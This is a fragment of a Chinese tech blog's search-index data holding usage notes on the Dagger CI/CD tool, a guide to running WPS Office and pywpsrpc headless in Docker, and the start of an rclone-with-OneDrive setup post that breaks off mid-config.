\u0026#34;goreleaser build --skip=validate --clean\u0026#34;, \u0026#34;mv dist/peien-engine_linux_amd64_v1 dist/peien-engine_linux_amd64\u0026#34;, \u0026#34;mv dist/peien-node_linux_amd64_v1 dist/peien-node_linux_amd64\u0026#34;, })}) 需要注意这些操作都是有序的，比如官方很多样例把 WithDirectory(\u0026quot;/src\u0026quot;, src)​ 放在最前面，就导致任何一点变动都会影响后续所有流程，正确的方法是放在编译前，就和我们平时写 Dockerfile 考虑的层级构造一样，是有序的，变动多的往后放。\nDagger 开发环境恢复 TLDR: dagger develop​ 即可安装 SDK\n当我们使用 init​ 创建一个 Dagger 流程后，会发现它生成的文件夹里面排除了生成的 sdk，参见以下 .gitignore​ 示例\n1 2 3 4 /dagger.gen.go /internal/dagger /internal/querybuilder /internal/telemetry 也就是这些文件不会签入 git 仓库，和其他人协作开发时，这些文件不会同步，虽说这对于 Dagger 各种命令的运行不影响（Dagger内部会构建环境），这些文件是供我们开发 Dagger 流程的。\n我们可以使用命令 dagger develop​ 来生成这些 SDK 文件，这个命令会找到项目下面生成的 dagger.json 文件，然后根据里面的配置在对应的文件夹生成 SDK\n以上说明可参见\n✨ Cannot update SDK when using newer version of Dagger · Issue #7964 · dagger/dagger CLI Reference | Dagger dagger.gen.go 报错 有时候你想改变 main.go​ 的导出函数名称，会看到类似这样的报错\n1 (*PeienEngine).BuildOneImage undefined (type *PeienEngine has no field or method BuildOneImage) 此时你需要使用上面提到的 dagger develop​ 来重新生成 dagger.gen.go​\n不过不运行也没关系，就是 IDE 或编辑器会有错误提示而已，实际运行不影响\n导出镜像 tarball 设置镜像tag 问题描述：使用 export 导出的镜像 tarball 是没有 tag 的\n解决方案：添加 io.containerd.image.name​ 的 annotation​ 即可，代码示例如下\n1 2 3 4 5 6 ... builder := dag.Container(). From(\u0026#34;golang:1.22-bullseye\u0026#34;). ... WithAnnotation(\u0026#34;io.containerd.image.name\u0026#34;, fmt.Sprintf(\u0026#34;akkuman/testapp:%s\u0026#34;, version)) ... 其中 WithAnnotation(\u0026quot;io.containerd.image.name\u0026quot;, fmt.Sprintf(\u0026quot;akkuman/testapp:%s\u0026quot;, version))​ 将会设置镜像 tag\n相关 issue:\n✨ .AsTarball Add OCI manifest RepoTags · Issue #7368 · dagger/dagger [Container.Export] Support custom annotations for exporting oci tar. · Issue #6999 · dagger/dagger ✨ Import image to local container runtime · Issue #8025 · dagger/dagger .dockerignore 不起效 我们知道，Docker 构建时可以使用 .dockerignore 来排除一些文件的导入，但似乎 Dagger 不会依照 .dockerignore\n查阅文档 Directory Filters | Dagger，发现需要指定\n例如\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package main import ( \u0026#34;context\u0026#34; \u0026#34;dagger/my-module/internal/dagger\u0026#34; ) type MyModule struct{} func (m *MyModule) Foo( ctx context.Context, // +ignore=[\u0026#34;.git\u0026#34;, \u0026#34;**/.gitignore\u0026#34;] source *dagger.Directory, ) (*dagger.Container, error) { return dag.Container(). From(\u0026#34;alpine:latest\u0026#34;). WithDirectory(\u0026#34;/src\u0026#34;, source). Sync(ctx) } 可以查看其中的 +ignore​，详情参阅 Directory Filters | Dagger\n如何限制某个参数是特定选项值 这是一个类似枚举的需求，如果没有仔细查阅文档，可能会这样做\n1 2 3 4 5 6 7 8 9 10 func (m *MyApp) BuildOneImage( ctx context.Context, src *dagger.Directory, appTag string, ) (*dagger.Container, error) { if appTag != \u0026#34;engine\u0026#34; \u0026amp;\u0026amp; appTag != \u0026#34;node\u0026#34; { return nil, fmt.Errorf(\u0026#34;appTag 必须为 engine 或者 node\u0026#34;) } ... } 但实际上 Dagger 支持枚举，可以改成\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 type AppTag string const ( EngineAppTag AppTag = \u0026#34;engine\u0026#34; NodeAppTag AppTag = \u0026#34;node\u0026#34; ) func (m *MyApp) BuildOneImage( ctx context.Context, src *dagger.Directory, appTag AppTag, ) (*dagger.Container, error) { ... } 这样除了可以简化自己的判断之外，也可以使用 dagger call build-one-image --help​ 在帮助中查看到\n1 2 ARGUMENTS --app-tag engine,node [required] 详情参见 Enumerations | Dagger\n使用 dag.Container().From(\u0026ldquo;alpine:latest\u0026rdquo;) 无法拉取镜像 国内因为网络问题，无法拉取到 docker.io 上的镜像，但是 dagger call​ 的执行实际上在 dagger engine 容器中，所以拉取时不会依照本地设置的 /etc/docke/daemon.json​\n这时我们可以采用手动运行 Dagger Engine 服务容器的方式，指定 Dagger Eninge 的 engine.toml\n例如，创建文件 engine.toml​，注意：其中的镜像换成自己的要使用的镜像地址\n1 2 [registry.\u0026#34;docker.io\u0026#34;] mirrors = [\u0026#34;mirror.a.com\u0026#34;, \u0026#34;mirror.b.com\u0026#34;] 然后手动运行 Engine\n1 docker run --rm -v /var/lib/dagger --name customized-dagger-engine --privileged --volume $PWD/engine.toml:/etc/dagger/engine.toml ghcr.nju.edu.cn/dagger/engine:v0.13.7 然后配置环境变量指定 Dagger CLI 使用该 Dagger Engine 服务\n1 export _EXPERIMENTAL_DAGGER_RUNNER_HOST=docker-container://customized-dagger-engine 接下来再使用 Dagger CLI 执行 dagger call​ 各种 From​ 拉取就不会有问题了\n详情参见\nCustom Registry Mirrors | Dagger Custom Runner | Dagger Dagger 缓存占据了很大空间，如何清理 缓存大小可以使用 BuildKit 垃圾收集配置来控制，也可以使用如下命令清理 Dagger Engine 的所有缓存\n1 2 3 4 5 6 7 8 9 dagger query \u0026lt;\u0026lt;EOF { daggerEngine { localCache { prune } } } EOF Github Action 中如何保留缓存 不幸的是，很难用，因为 Docker 构建在 GHA 中是二等公民，这里提供一些链接参考\nNo information on caching for CI environments · Issue #6911 · dagger/dagger 🐞 Fail to export cache with _EXPERIMENTAL_DAGGER_CACHE_CONFIG (failed to compute blob by overlay differ (ok=false)) · Issue #8717 · dagger/dagger (334) Discord | \u0026quot;actions/cache\u0026quot; | Dagger Cache management | Docker Docs 为什么是 Dagger 而不是 Earthly Earthly 我也用过，好处是和 Dockerfile 语法基本一致，基本上会写 Dockerfile 就会写 Earthfile。\n具体来说，Earthly 使用下来没啥太致命的缺点，目前发现的一个问题是有些语法在 Dockerfile 中可以，但在 Earthfile 中就不行了，没有及时与 Dockerfile 上游对齐\n另一方面是从 github 仓库来看，Earthly 不如 Dagger 活跃，毕竟 Dagger 是 Docker 创始人牵头，有一定的明星效应，能吸引更多的人来参与开源维护。\n其实从语法来看，我觉得分不出太大优劣，使用 Dockerfile 的语法缺点是灵活性不如编程语言高，但优点是便于维护。\n如果是之前使用 CUE 语言的 Dagger，那我觉得不如使用 Earthly 了，不需要多学一门语言，但现在 Dagger 改成了使用编程语言维护，使用 Dagger SDK 来构建，这样就比之前方便多了。\n我目前发现了 Earthly 的两个 bug\nUnexpected environment variable substitution · Issue #4305 · earthly/earthly ENV doesn't support setting multiple values · Issue #3959 · earthly/earthly 官方也不是很积极。\n就目前项目前景来看，可能 Dagger 更好一些\n","permalink":"https://www.hacktech.cn/post/2024/11/dagger-use-notes-vbgyk/","summary":"\u003ch1 id=\"dagger-使用札记\"\u003eDagger 使用札记\u003c/h1\u003e\n\u003ch2 id=\"工具介绍\"\u003e工具介绍\u003c/h2\u003e\n\u003cp\u003e用于构建 DevOps 工作流的开源平台，旨在简化和标准化复杂的 CI/CD 管道。\u003c/p\u003e\n\u003cp\u003eDagger 提供了 Go/Python/TypeScript 等语言的 sdk，使你能使用这些语言来操作 BuildKit 来生成或推送你想要的文件或镜像\u003c/p\u003e","title":"Dagger 使用札记"},{"content":"一般如果使用带桌面环境的 docker，比如 dorowu/ubuntu-desktop-lxde-vnc，然后安装 wps 后，使用 https://github.com/timxx/pywpsrpc 是没啥问题的，需要注意的是 wps 第一次打开后，需要同意 EULA，然后按照 https://github.com/timxx/pywpsrpc/issues/44#issuecomment-1032304847 中提到的改为 multi-module mode，然后就可以愉快使用了，但是对于无图形环境的 docker，似乎是连 wps 都无法启动\n解决WPS无法启动的问题 wps安装之前需要安装一些依赖环境，这个后文给出完整的安装流程，此处主要解决 wps 安装完成后，启动无输出，直接闪退的问题\n此处安装 https://github.com/timxx/pywpsrpc/wiki/Run-on-Server 配置了环境，但是wps依旧闪退\n首先执行 whereis wps ，我们找到 wps 的执行文件路径，一般位于 /usr/bin/wps\n然后我们编辑该文件\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function run() { oldPwd=\u0026#34;${PWD}\u0026#34; if [ -e \u0026#34;${gInstallPath}/office6/${gApp}\u0026#34; ] ; then if [ 1 -eq ${gDaemon} ]; then nohup ${gInstallPath}/office6/${gApp} ${gOpt} \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp; elif [ 1 -eq ${gIsUrl} ]; then { ${gInstallPath}/office6/${gApp} ${gOptExt} ${gOpt} \u0026#34;${gFilePaths[@]}\u0026#34;; } \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 elif [ 1 -eq ${gIsFushion} ] \u0026amp;\u0026amp; [ \u0026#34;$1\u0026#34; != \u0026#34;/prometheus\u0026#34; ]; then { unset GIO_LAUNCHED_DESKTOP_FILE \u0026amp;\u0026amp; ${gInstallPath}/office6/${gApp} /prometheus ${gOptExt} ${gOpt} \u0026#34;$@\u0026#34;; } \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 else { ${gInstallPath}/office6/${gApp} ${gOptExt} ${gOpt} \u0026#34;$@\u0026#34;; } fi else echo \u0026#34;${gApp} does not exist!\u0026#34; fi } 将最后一个 else 的输出重定向去除，此时我们再运行 wps 就有报错输出了\n1 dlopen /opt/kingsoft/wps-office/office6/libwpsmain.so failed , error: libxslt.so.1: cannot open shared object file: No such file or directory 然后我们运行下面的命令来解决他\n1 apt-get install -y libxslt1.1 然后再运行wps即可，如果还是有缺失的问题，继续找补\n或者可以直接运行 xvfb-run /opt/kingsoft/wps-office/office6/wps 来看报错\n整体安装流程(for ubuntu) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 apt-get install -y wget # 下载 deb 安装包 wget https://wps-linux-personal.wpscdn.cn/wps/download/ep/Linux2019/11698/wps-office_11.1.0.11698_amd64.deb # 防止 debconf (no usable dialog-like program 报错 ref:https://www.kaijia.me/2015/09/unable-to-initialize-frontend-dialog-issue-solved/ apt-get install -y dialog # 安装 wps 所需依赖（安装wps时需要） apt-get install -y bsdmainutils xdg-utils # 安装 wps apt-get install -y ./wps-office_11.1.0.11698_amd64.deb # 安装运行 wps 时的依赖 apt-get install -y libxslt1.1 qtbase5-dev # 安装虚拟显示器 apt-get install -y xvfb # 使用 xvfb 来运行 wps xvfb-run wps 但是此时如果你使用 pywpsrpc，还是启动不起来的\n需要同意 wps 的 EULA 并且将 wps 改为多组件模式\n1 2 3 4 5 # 将 wps 改为多组件模式 echo \u0026#39;wpsoffice\\Application%20Settings\\AppComponentMode=prome_independ\u0026#39; \u0026gt;\u0026gt; ~/.config/Kingsoft/Office.conf echo \u0026#39;wpsoffice\\Application%20Settings\\AppComponentModeInstall=prome_independ\u0026#39; \u0026gt;\u0026gt; ~/.config/Kingsoft/Office.conf # 同意 wps 的EULA echo \u0026#39;common\\AcceptedEULA=true\u0026#39; \u0026gt;\u0026gt; ~/.config/Kingsoft/Office.conf 注意此时调用 pywpsrpc 其实还会出现一个错误\n1 2 3 4 /tmp/64742_asso/assocheck.sh: line 18: gvfs-info: command not found /tmp/64742_asso/assocheck.sh: line 19: gvfs-mime: command not found /tmp/13013_desktop/desktopcheck.sh: line 23: gvfs-info: command not found /tmp/13013_desktop/desktopcheck.sh: line 24: gvfs-mime: command not found 测试后感觉该错误不影响使用，如果在意的话可以通过 apt install gvfs-bin 来解决\n封装的 Docker 为了更精简，qtbase5-dev 可替换为 libqt5gui5\n但注意，导入使用 pywpsrpc 时可能会报错 ImportError: libQt5Xml.so.5: cannot open shared object file: No such file or directory ，还需要安装 libQt5Xml\n1 apt-get install -y libqt5xml5 如果不差空间，使用 pywpsrpc 前更建议安装 qtbase5-dev\n根据上面的测试，我做了一个镜像\n该镜像只安装了 wps，并且做好了可使用的配置，可参照readme进行使用\nhttps://github.com/akkuman/headless-wps\n针对arm64的我也做了测试，结果发现实际上 wps 无法在 鲲鹏920+麒麟V10 上正常运行，当然，可能是因为这个系统内核的内存对齐比较特殊，连chrome也没法在这个系统上跑\nReferences https://github.com/timxx/pywpsrpc/issues/19#issuecomment-1075996867 https://github.com/timxx/pywpsrpc/issues/44#issuecomment-1032304847 https://github.com/timxx/pywpsrpc/wiki/Run-on-Server ","permalink":"https://www.hacktech.cn/post/2023/08/docker-pywpsrpc-use/","summary":"\u003cp\u003e一般如果使用带桌面环境的 docker，比如 dorowu/ubuntu-desktop-lxde-vnc，然后安装 wps 后，使用 \u003ca href=\"https://github.com/timxx/pywpsrpc\"\u003ehttps://github.com/timxx/pywpsrpc\u003c/a\u003e 是没啥问题的，需要注意的是 wps 第一次打开后，需要同意 EULA，然后按照 \u003ca href=\"https://github.com/timxx/pywpsrpc/issues/44#issuecomment-1032304847\"\u003ehttps://github.com/timxx/pywpsrpc/issues/44#issuecomment-1032304847\u003c/a\u003e 中提到的改为 multi-module mode，然后就可以愉快使用了，但是对于无图形环境的 docker，似乎是连 wps 都无法启动\u003c/p\u003e\n\u003ch2 id=\"解决wps无法启动的问题\"\u003e解决WPS无法启动的问题\u003c/h2\u003e\n\u003cp\u003ewps安装之前需要安装一些依赖环境，这个后文给出完整的安装流程，此处主要解决 wps 安装完成后，启动无输出，直接闪退的问题\u003c/p\u003e\n\u003cp\u003e此处安装 \u003ca href=\"https://github.com/timxx/pywpsrpc/wiki/Run-on-Server\"\u003ehttps://github.com/timxx/pywpsrpc/wiki/Run-on-Server\u003c/a\u003e 配置了环境，但是wps依旧闪退\u003c/p\u003e\n\u003cp\u003e首先执行 \u003ccode\u003ewhereis wps\u003c/code\u003e ，我们找到 wps 的执行文件路径，一般位于 \u003ccode\u003e/usr/bin/wps\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e然后我们编辑该文件\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-docker\" data-lang=\"docker\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunction\u003c/span\u003e run\u003cspan style=\"color:#f92672\"\u003e()\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        oldPwd\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003ePWD\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e -e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egInstallPath\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e/office6/\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egApp\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e ; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e -eq \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egDaemon\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        nohup \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egInstallPath\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e/office6/\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egApp\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egOpt\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u0026gt; /dev/null 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u0026amp;\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003eelif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e -eq \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egIsUrl\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egInstallPath\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e/office6/\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egApp\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e  \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egOptExt\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egOpt\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egFilePaths[@]\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e; \u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e \u0026gt; /dev/null 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003eelif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e -eq \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egIsFushion\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$1\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e !\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/prometheus\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e unset GIO_LAUNCHED_DESKTOP_FILE \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egInstallPath\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e/office6/\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egApp\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e /prometheus \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egOptExt\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egOpt\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$@\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e; \u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e \u0026gt; /dev/null 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egInstallPath\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e/office6/\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egApp\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e  \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egOptExt\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egOpt\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$@\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e; \u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003efi\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                echo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003egApp\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e does not exist!\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003efi\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e将最后一个 else 的输出重定向去除，此时我们再运行 wps 就有报错输出了\u003c/p\u003e","title":"docker 中使用 pywpsrpc"},{"content":"vps空间小，所以使用onedrive为例作为存储来搭建 photoprism\n主要分为以下几步：\n使用rclone挂载onedrive 部署photoprism 获得rclone.conf 首先在本地电脑上安装rclone\n然后运行 rclone config\n参照 https://rclone.org/onedrive/ 进行远程配置\n然后配置完成后，~/.config/rclone/rclone.conf 内容类似\n1 2 3 4 5 [onedrive] type = myonedrive token = 